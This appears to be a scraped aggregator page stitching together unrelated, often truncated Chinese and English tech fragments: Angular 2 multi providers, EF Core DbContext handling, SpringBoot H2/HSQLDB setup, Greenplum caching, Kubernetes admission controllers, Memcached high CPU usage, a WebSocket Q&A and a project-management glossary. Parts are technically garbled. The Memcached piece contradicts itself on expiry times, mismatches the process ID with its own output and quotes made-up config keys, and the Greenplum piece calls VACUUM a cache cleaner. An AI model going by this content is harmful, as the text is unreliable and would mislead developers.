Atlas的配置进行针对性调校，这样一来，就能让它的性能更上一层楼，效率也嗖嗖地提升起来。最后，我建议你在实际应用中结合上述的代码示例，进一步完善你的监控策略。

... how they work and how Angular itself takes advantage of them to keep the platform flexible and extendible. Recap: What is a provider? If you’ve read our article on Dependency Injection in Angular2 you can probably skip this section, as you’re familiar with the provider terminology, how they work, and how they relate to actual dependencies being injected. If you haven’t read about providers yet, here’s a quick recap. A provider is an instruction that describes how an object for a certain token is created. Quick example: In an Angular 2 component we might have a DataService dependency, which we can ask for like this: import { DataService } from './data.service';@Component(...)class AppComponent {constructor(dataService: DataService) {// dataService instanceof DataService === true} } We import the type of the dependency we’re asking for, and annotate our dependency argument with it in our component’s constructor. Angular knows how to create and inject an object of type DataService, if we configure a provider for it. This can happen either on the application module, that bootstrap our app, or in the component itself (both ways have different implications on the dependency’s life cycle and availability). // application module@NgModule({...providers: [{ provide: DataService, useClass DataService }]})...// or in component@Component({...providers: [{ provide: DataService, useClass: DataService }]})class AppComponent { } In fact, there’s a shorthand syntax we can use if the instruction is useClass and the value of it the same as the token, which is the case in this particular provider: @NgModule({...providers: [DataService]})...// or in component@Component({...providers: [DataService]})class AppComponent { } Now, whenever we ask for a dependency of type DataService, Angular knows how to create an object for it. Understanding Multi Providers With multi providers, we can basically provide multiple dependencies for a single token. Let’s see what that looks like. The following code manually creates an injector with multi providers: const SOME_TOKEN: OpaqueToken = new OpaqueToken('SomeToken');var injector = ReflectiveInjector.resolveAndCreate([{ provide: SOME_TOKEN, useValue: 'dependency one', multi: true },{ provide: SOME_TOKEN, useValue: 'dependency two', multi: true }]);var dependencies = injector.get(SOME_TOKEN);// dependencies == ['dependency one', 'dependency two'] Note: We usually don’t create injectors manually when building Angular 2 applications since the platform takes care of that for us. This is really just for demonstration purposes. A token can be either a string or a type. We use a string, because we don’t want to create classes to represent a string value in DI. However, to provide better error messages in case something goes wrong, we can create our string token using OpaqueToken. We don’t have to worry about this too much now. The interesting part is where we’re registering our providers using the multi: true option. Using multi: true tells Angular that the provider is a multi provider. As mentioned earlier, with multi providers, we can provide multiple values for a single token in DI. That’s exactly what we’re doing. We have two providers, both have the same token but they provide different values. If we ask for a dependency for that token, what we get is a list of all registered and provided values. Okay understood, but why? Alright, fine. We can provide multiple values for a single token. But why in hell would we do this? Where is this useful? Good question! Usually, when we register multiple providers with the same token, the last one wins. For example, if we take a look at the following code, only TurboEngine gets injected because it’s provider has been registered at last: class Engine { }class TurboEngine { }var injector = ReflectiveInjector.resolveAndCreate([{ provide: Engine, useClass: Engine},{ provide: Engine, useClass: TurboEngine}]);var engine = injector.get(Engine);// engine instanceof TurboEngine This means, with multi providers we can basically extend the thing that is being injected for a particular token. Angular uses this mechanism to provide pluggable hooks. One of these hooks for example are validators. When creating a validator, we need to add it to the NG_VALIDATORS multi provider, so Angular picks it up when needed @Directive({selector: '[customValidator][ngModel]',providers: [provide: NG_VALIDATORS,useValue: (formControl) => {// validation happens here},multi: true]})class CustomValidator {} Multi providers also can’t be mixed with normal providers. This makes sense since we either extend or override a provider for a token. Other Multi Providers The Angular platform comes with a couple more multi providers that we can extend with our custom code. At the time of writing these were NG_VALIDATORS - Interface that can be implemented by classes that can act as validators NG_ASYNC_VALIDATORS - Token that can be implemented by classes that can act as async validators Conclusion Multi providers are a very nice feature to implement pluggable interface that can be extended from the outside world. The only “downside” I can see is that multi providers only as powerful as what the platform provides. NG_VALIDATORS and NG_ASYNC_VALIDATORS are implemented right into the platform, which is the only reason we can take advantage of those particular multi providers. There’s no way we can introduce our own custom multi providers (with a specific token) that influences what the platform does, but maybe this is also not needed. 原文链接：http://blog.thoughtram.io/angular2/2015/11/23/multi-providers-in-angular-2.html 本篇文章为转载内容。原文链接：https://blog.csdn.net/u011153667/article/details/52483856。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...tity Framework Core 6.0版本，引入了一系列改进和新特性，如对数据库事务更精细的控制、更好的并发处理支持以及改善DbContext生命周期管理机制。 例如，在实际开发场景中，开发者可以利用EF Core 6.0中的“依赖注入”功能更好地管理DbContext实例，确保其在整个请求周期内保持活性，同时避免多次创建和dispose DbContext带来的问题。此外，该版本还提供了更为灵活的事务管理API，使得开发者能精确控制事务范围，减少因异常导致的无效操作或数据不一致的情况。 另外，一项来自.NET社区的最佳实践指出，结合Repository模式和Unit of Work模式使用EF Core，能够有效隔离数据访问逻辑，进一步提升代码可读性和维护性，同时降低上述错误出现的概率。通过合理运用这些模式，开发者可以在进行复杂事务处理时确保DbContext始终处于正确的工作状态。 因此，对于致力于解决“DbContext已被dispose或不在事务中”这类问题的.NET开发者来说，紧跟技术发展动态，深入学习和应用最新的Entity Framework Core版本特性及设计模式，无疑将极大地提高应用程序的数据持久化能力和整体稳定性。

...l=jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1 spring.datasource.driverClassName=org.h2.Driver spring.datasource.username=sa spring.datasource.password= spring.jpa.database-platform=org.hibernate.dialect.H2Dialect 3. 连接失败常见场景及原因分析 3.1 配置错误 （思考过程） 在实际开发中，最直观且常见的问题就是配置错误导致的连接失败。例如，数据库URL格式不正确，或者驱动类名拼写有误等。让我们看一段可能出错的示例： java // 错误配置示例 spring.datasource.url=jdbc:h2:memory:testdb // 注意这里的'memory'而非'mem' 3.2 驱动未加载 （理解过程） 另一种可能导致连接失败的原因是SpringBoot未能正确识别并加载H2数据库驱动。虽然SpringBoot的自动配置功能超级给力，但如果我们在依赖管理这块儿出了岔子，比方说忘记引入那个必备的H2数据库插件，就很可能闹出连接不上的幺蛾子。正确的Maven依赖如下： xml com.h2database h2 runtime 3.3 数据库服务未启动 （探讨性话术） 我们都知道，与数据库建立连接的前提是数据库服务正在运行。但在H2的内存模式下，有时我们会误以为它无需启动服务。其实吧，虽然H2内存数据库会在应用启动时自个儿蹦跶出来，但如果配置的小细节搞错了，那照样会让连接初始化的时候扑街。 4. 解决方案与实践 针对上述情况，我们可以采取以下步骤进行问题排查和解决： - 检查配置：确保application.properties中的数据库URL、驱动类名、用户名和密码等配置项准确无误。 - 检查依赖：确认pom.xml或Gradle构建脚本中已包含H2数据库的依赖。 - 查看日志：通过阅读SpringBoot启动日志，查找关于H2数据库初始化的相关信息，有助于定位问题所在。 - 重启服务：有时候简单地重启应用服务可以解决因环境临时状态导致的问题。 综上所述，面对SpringBoot连接H2数据库失败的问题，我们需要结合具体情况进行细致的排查，并根据不同的错误源采取相应的解决措施。只有这样，才能让H2这位得力助手在我们的项目开发中发挥最大的价值。

...statement_mem参数来限制单条SQL语句的最大内存使用量。这有助于防止大查询耗尽系统资源，影响其他并发查询的执行。 四、缓存的优化策略 最后，我们将讨论一些实际的缓存优化策略。首先，我们应该尽可能地减少对缓存的依赖。你知道吗，那个缓存空间它可不是无限大的，就像我们的手机内存一样，也是有容量限制的。要是咱们老是用大量的数据去频繁查询，就相当于不断往这个小仓库里塞东西，结果呢，可能会把这个缓存占得满满当当的，这样一来，整个系统的运行速度和效率可就要大打折扣了，就跟人吃饱了撑着跑不动是一个道理哈。 其次，我们可以使用视图或者函数来避免多次查询相同的数据。这样可以减少对缓存的需求，并且使查询更加简洁和易读。 再者，我们可以定期清理过期的缓存记录。Greenplum提供了VACUUM命令来进行缓存的清理。例如，我们可以使用以下命令来清理所有过期的缓存记录： sql VACUUM ANALYZE; 五、总结 总的来说，通过合理的配置和管理，以及适当的优化策略，我们可以有效地利用Greenplum的缓存，提高其整体性能。不过呢，咱也得明白这么个理儿，缓存这家伙虽然神通广大，但也不是啥都能搞定的。有时候啊，咱们要是过分依赖它，说不定还会惹出些小麻烦来。所以，在实际动手干的时候，咱们得瞅准具体的情况和需求，像变戏法一样灵活运用各种招数，摸排出最适合自己的那套方案来。真心希望这篇文章能帮到你，要是你有任何疑问、想法或者建议，尽管随时找我唠嗑哈！谢谢大家！

...pringframework.boot spring-boot-starter-data-jpa org.hsqldb hsqldb runtime 接着，我们需要创建一个application.properties文件，配置数据库连接信息。 properties spring.datasource.url=jdbc:hsqldb:mem:testdb spring.datasource.driverClassName=org.hsqldb.jdbcDriver spring.datasource.username=sa spring.datasource.password= spring.jpa.hibernate.ddl-auto=create 然后，我们需要创建一个UserRepository接口，定义CRUD操作方法。 java public interface UserRepository extends JpaRepository { } 最后，我们可以在控制器中调用UserRepository的方法，将用户保存到数据库中。 java @RestController public class UserController { private final UserRepository userRepository; public UserController(UserRepository userRepository) { this.userRepository = userRepository; } @PostMapping("/users") public ResponseEntity createUser(@RequestBody User user) { userRepository.save(user); return ResponseEntity.ok().build(); } } 以上就是使用SpringBoot进行数据库迁移的基本步骤。这样子做，我们就能轻轻松松地管理、更新咱们的数据库，确保我们的应用程序能够像老黄牛一样稳稳当当地运行起来，一点儿都不带出岔子的。

...资源限额，如cpu、mem） 3.ResourceQuota 此准入控制器负责集群的计算资源配额，并确保用户不违反命名空间的ResourceQuota对象中列举的任何约束（定义名称空间级别的配额，如pod数量） 4.PodSecurityPolicy 此准入控制器用于创建和修改pod，并根据请求的安全上下文和可用的Pod安全策略确定是否应该允许它。 4.如何开启准入控制器 在kubernetes环境中，你可以使用kube-apiserver命令结合enable-admission-plugins的flag，后面需要跟上以逗号分割的准入控制器清单，如下所示： kube-apiserver --enable-admission-plugins=NamespaceLifecycle,LimitRanger … 5.如何关闭准入控制器 同理，你可以使用flag：disable-admission-plugins，来关闭不想要的准入控制器，如下所示： kube-apiserver --disable-admission-plugins=PodNodeSelector,AlwaysDeny … 6.实战：控制器的使用 1.LimitRanger 1)首先，编辑limitrange-demo.yaml文件，我们定义了一个cpu的准入控制器。 其中定义了默认值、最小值和最大值等。 apiVersion: v1kind: LimitRangemetadata:name: cpu-limit-rangenamespace: mynsspec:limits:- default: 默认上限cpu: 1000mdefaultRequest:cpu: 1000mmin:cpu: 500mmax:cpu: 2000mmaxLimitRequestRatio: 定义最大值是最小值的几倍，当前为4倍cpu: 4type: Container 2)apply -f之后，我们可以通过get命令来查看LimitRange的配置详情 [root@centos-1 dingqishi] kubectl get LimitRange cpu-limit-range -n mynsNAME CREATED ATcpu-limit-range 2021-10-10T07:38:29Z[root@centos-1 dingqishi] kubectl describe LimitRange cpu-limit-range -n mynsName: cpu-limit-rangeNamespace: mynsType Resource Min Max Default Request Default Limit Max Limit/Request Ratio---- -------- --- --- --------------- ------------- -----------------------Container cpu 500m 2 1 1 4 2.ResourceQuota 1)同理，编辑配置文件resoucequota-demo.yaml，并apply； 其中，我们定义了myns名称空间下的资源配额。 apiVersion: v1kind: ResourceQuotametadata:name: quota-examplenamespace: mynsspec:hard:pods: "5"requests.cpu: "1"requests.memory: 1Gilimits.cpu: "2"limits.memory: 2Gicount/deployments.apps: "2"count/deployments.extensions: "2"persistentvolumeclaims: "2" 2)此时，也可以查看到ResourceQuota的相关配置，是否生效 [root@centos-1 dingqishi] kubectl get ResourceQuota -n mynsNAME CREATED ATquota-example 2021-10-10T08:23:54Z[root@centos-1 dingqishi] kubectl describe ResourceQuota quota-example -n mynsName: quota-exampleNamespace: mynsResource Used Hard-------- ---- ----count/deployments.apps 0 2count/deployments.extensions 0 2limits.cpu 0 2limits.memory 0 2Gipersistentvolumeclaims 0 2pods 0 5requests.cpu 0 1requests.memory 0 1Gi 大家可以将生效后的控制器，结合相关pod自行测试资源配额的申请、限制和使用的情况 本篇文章为转载内容。原文链接：https://blog.csdn.net/flq18210105507/article/details/120845744。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

正文： 一、引言 Memcached是一种分布式键值存储系统，它被广泛应用于Web应用程序中的缓存处理，以提高网站性能。然而，在实际应用过程中，我们可能会遇到Memcached进程占用CPU过高的问题。这不仅会影响系统的运行效率，还可能引发一系列问题。这篇文章会手把手教你一步步弄明白，为啥Memcached这个小家伙有时候会使劲霸占CPU资源，然后咱再一起商量商量怎么把它给“治”好，让它恢复正常运作。 二、Memcached进程占用CPU高的原因分析 1. Memcached配置不当 当Memcached配置不当时，会导致其频繁进行数据操作，从而增加CPU负担。比如说，要是你给数据设置的过期时间太长了，让Memcached这个家伙没法及时把没用的数据清理掉，那可能会造成CPU这老兄压力山大，消耗过多的资源。 示例代码如下： python import memcache mc = memcache.Client(['localhost:11211']) mc.set('key', 'value', 120) 上述代码中，设置的数据过期时间为120秒，即两分钟。这就意味着，即使数据已经没啥用了，Memcached这家伙还是会死拽着这些数据不放，在接下来的两分钟里持续占据着CPU资源不肯放手。 2. Memcached与大量客户端交互 当Memcached与大量客户端频繁交互时，会加重其CPU负担。这是因为每次交互都需要进行复杂的计算和数据处理操作。比如，想象一下你运营的Web应用火爆到不行，用户请求多得不得了，每个请求都得去Memcached那儿抓取数据。这时候，Memcached这个家伙可就压力山大了，CPU资源被消耗得嗷嗷叫啊！ 示例代码如下： python import requests for i in range(1000): response = requests.get('http://localhost/memcached/data') print(response.text) 上述代码中，循环执行了1000次HTTP GET请求，每次请求都会从Memcached获取数据。这会导致Memcached的CPU资源消耗过大。 三、排查Memcached进程占用CPU高的方法 1. 使用top命令查看CPU使用情况 在排查Memcached进程占用CPU过高的问题时，我们可以首先使用top命令查看系统中哪些进程正在占用大量的CPU资源。例如，以下输出表示PID为31063的Memcached进程正在占用大量的CPU资源： javascript top - 13:34:47 up 1 day, 6:13, 2 users, load average: 0.24, 0.36, 0.41 Tasks: 174 total, 1 running, 173 sleeping, 0 stopped, 0 zombie %Cpu(s): 0.2 us, 0.3 sy, 0.0 ni, 99.5 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st KiB Mem : 16378080 total, 16163528 free, 182704 used, 122848 buff/cache KiB Swap: 0 total, 0 free, 0 used. 2120360 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 3106 root 20 0 1058688 135484 4664 S 45.9 8.3 1:23.79 python memcached_client.py 我们可以看到，PID为31063的Python程序正在占用大量的CPU资源。接着，我们可以使用ps命令进一步了解这个进程的情况： bash ps -p 3106 2. 查看Memcached配置文件 在确认Memcached进程是否异常后，我们需要查看其配置文件，以确定是否存在配置错误导致的高CPU资源消耗。例如，以下是一个默认的Memcached配置文件（/etc/memcached.conf）的一部分： php-template Default MaxItems per key (65536). default_maxbytes 67108864 四、解决Memcached进程占用CPU高的方案 1. 调整Memcached配置 根据Memcached配置不当的原因，我们可以调整相关参数来降低CPU资源消耗。例如，可以减少过期时间、增大最大数据大小等。以下是修改过的配置文件的一部分： php-template Default MaxItems per key (131072). default_maxbytes 134217728 Increase expiration time to reduce CPU usage. default_time_to_live 14400 2. 控制与Memcached的交互频率 对于因大量客户端交互导致的高CPU资源消耗问题，我们可以采取一些措施来限制与Memcached的交互频率。例如，可以在服务器端添加限流机制，防止短时间内产生大量请求。或者，优化客户端代码，减少不必要的网络通信。 3. 提升硬件设备性能 最后，如果其他措施都无法解决问题，我们也可以考虑提升硬件设备性能，如增加CPU核心数量、扩大内存容量等。但这通常不是最佳解决方案，因为这可能会带来更高的成本。 五、结论 总的来说，Memcached进程占用CPU过高是一个常见的问题，其产生的原因是多种多样的。要真正把这个问题给揪出来，咱们得把系统工具和实际操作的经验都使上劲儿，得像钻井工人一样深入挖掘Memcached这家伙的工作内幕和使用门道。只有这样，才能真正找到问题的关键所在，并提出有效的解决方案。 感谢阅读这篇文章，希望对你有所帮助！

...erver not working for some reasons) 我尝试使用ws创建一个非常简单的服务器，当我运行服务器node index.js并且我在我的浏览器中午餐localhost:8080时，我的控制台中没有任何内容。 我应该看到client connected on localhost:8080打印到控制台 -index.js const WebSocketServer = require('ws').Server; const wss = new WebSocketServer({port: 8080}); const onConnect = wss => console.log('client connected on localhost:8080'); Rx.Observable .fromEvent(wss, 'connection') .subscribe(onConnect); I tried to create a very simple server using ws, When i run the server node index.js and i lunch localhost:8080 in my browser nothing appear in my console. i should see client connected on localhost:8080 printed to the console -index.js const WebSocketServer = require('ws').Server; const wss = new WebSocketServer({port: 8080}); const onConnect = wss => console.log('client connected on localhost:8080'); Rx.Observable .fromEvent(wss, 'connection') .subscribe(onConnect); 原文：https://stackoverflow.com/questions/37480475 更新时间：2020-09-13 19:09 最满意答案 您无法通过直接在浏览器中打开它来连接到WebSocket。 您应该使用某个HTML页面创建HTTP服务器和响应。 在此HTML页面中，您应该包含连接到WebSocket服务器的javascript： var socket = new WebSocket("ws://localhost:8080"); You can't connect to WebSocket by open it directly in a browser. You should create HTTP server and response with some HTML page. In this HTML page you should include javascript that connects to your WebSocket server: var socket = new WebSocket("ws://localhost:8080"); 相关问答 为了证明接收到握手，服务器必须获取两条信息并将它们组合以形成响应。 第一条信息来自| Sec-WebSocket-Key | 客户端握手中的头字段： Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== 具体而言，如上例所示，| Sec-WebSocket-Key | 标题字段的值为“dGhlIHNhbXBsZSBub25jZQ ==”，服务器 将串联字符串“258EAFA5-E914-47DA-95CA-C5AB0DC85B11” 形成字符串“dGhl ... 我找到了解决方法。 我已经修改了我的wsgi.py，现在它可以工作： import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "myapp.settings") This application object is used by any WSGI server configured to use this file. This includes Django's development server, if the WSGI ... 好吧，就我而言， RewriteBase /元素解决了这个问题。 如果有人因为shauninmann视网膜代码而遇到这个问题，我就把它留在那里。 Options -MultiViews RewriteEngine on RewriteBase / RewriteCond %{HTTP_COOKIE} HTTP_IS_RETINA [NC] RewriteCond %{REQUEST_FILENAME} !@2x RewriteRule ^(.)\ ... 如果您的服务器正在侦听端口80上的连接，它是否在谈论http？ 因为如果没有，不要在端口80上侦听：端口80已经建立为携带http流量。 下一步 - ipaddress和端口一起是端点的唯一标识符。 如果远程客户端通过端口80连接到您的服务器，而不是目标IP和端口，则没有其他信息表明网络层必须识别哪个应用程序(在端口80上侦听)应该获得该数据包。 鉴于配置多个IP地址非常困难 - 在NAT上是不可能的 - 将数据包路由到正确的侦听器的唯一信息就是端口。 所以你不能让两个应用程序在同一个端口上侦听。 ... 您无法通过直接在浏览器中打开它来连接到WebSocket。 您应该使用某个HTML页面创建HTTP服务器和响应。 在此HTML页面中，您应该包含连接到WebSocket服务器的javascript： var socket = new WebSocket("ws://localhost:8080"); You can't connect to WebSocket by open it directly in a browser. You should crea ... 所以我通过握手解决了我的特殊问题，而且非常无聊。 我需要两套“\ r \ n”才能完成握手。 所以为了解决我上面描述的握手问题(Javascript WebSocket没有进入OPEN状态)我需要对我的服务器端PHP进行以下更改(注意最后的\ r \ n \ r \ n，doh) ： function dohandshake($user,$buffer){ // getheaders and calcKey are confirmed working, can provide source ... 是。 独立的WebSocket服务器通常可以在任何端口上运行。 浏览器客户端打开与非HTTP(S)端口上的服务器的WebSocket连接没有问题。 默认端口为80/443的主要原因是它们是最可靠的大规模使用端口，因为它们能够遍历阻止所有其他端口上所有流量的许多企业防火墙。 如果这对您的受众来说不是问题(或者您有基于HTTP的回退)，那么为WebSocket服务器使用备用端口是完全合理的(并且更容易)。 另一种选择是使用80/443端口，但使用单独的IP地址/主机名。 Yes. A standalo ... Tyrus抱怨Connection: keep-alive, Upgrade header。 Firefox在这里没有做错任何事。 关于如何处理Connection标头，Tyrus过于严格，没有遵循WebSocket规范( RFC-6455 )。 RFC 4.1中的RFC规定： 6. The request MUST contain a |Connection| header field whose value MUST include the "Upgrade" tok ... 说实话，我不能100％确定地说这是什么，但我有一个非常强烈的怀疑。 我的代码中包含了太多的命名空间，我相信在编译器等实际运行时会出现一些混乱。 显然，Microsoft.Web.Websockets和SignalR的命名空间都包含WebSocketHandler。 虽然我不知道SignalR的所有细节，但看起来THAT命名空间中的WebSocketHandler并不意味着在SignalR之外使用。 我相信这个类正在被引用，而不是Microsoft.Web.Websockets中的那个，因为它现在起 ... 您应该使用websocket处理程序，而不是请求处理程序，尝试使用此示例 You should use the websocket handler, not the request handler, try with this example 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_34862561/article/details/119512220。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

工作分解结构（Work Breakdown Structure，WBS） , 在项目管理中，工作分解结构是一种将项目的主要交付成果和项目工作逐步细化分解为更小、更便于管理和控制的组件的过程。它通过树状图或列表形式展现，从项目的最高层级目标开始，逐层向下细分直至最底层的具体可执行任务。在本文中，作者通过举例说明不同的任务划分方式对应的工作分解结构，探讨了其对项目沟通成本、开发效率以及团队协作的影响。 责任矩阵（Responsibility Assignment Matrix, RAM） , 在项目管理实践中，责任矩阵是一种直观展示各个工作任务与团队成员之间关系的工具，通常以表格形式存在，明确每个工作任务由谁负责（Responsible）、由谁最终承担责任（Accountable）、需要咨询谁的意见（Consulted）以及需要通知哪些相关人员（Informed），简称为RACI模型。文章中提到的责任矩阵有助于确定每个人员在完成工作分解结构中各工作细目时的角色定位，从而降低沟通成本和提高项目执行效率。 模块化设计 , 在软件工程和系统设计领域中，模块化设计是一种将复杂系统划分为一系列相互独立且功能相对集中的模块的方法。这些模块间通过清晰定义的接口进行交互，使得每个模块都能够单独开发、测试、维护和复用。文中，作者提倡采用模块化设计来优化任务分解，强调在任务划分过程中应遵循“输入什么、做什么事、输出什么”的原则，确保每个模块接口设计得当，以便于团队成员高效协作，减少重复劳动，并降低因理解误差和沟通不畅导致的成本增加。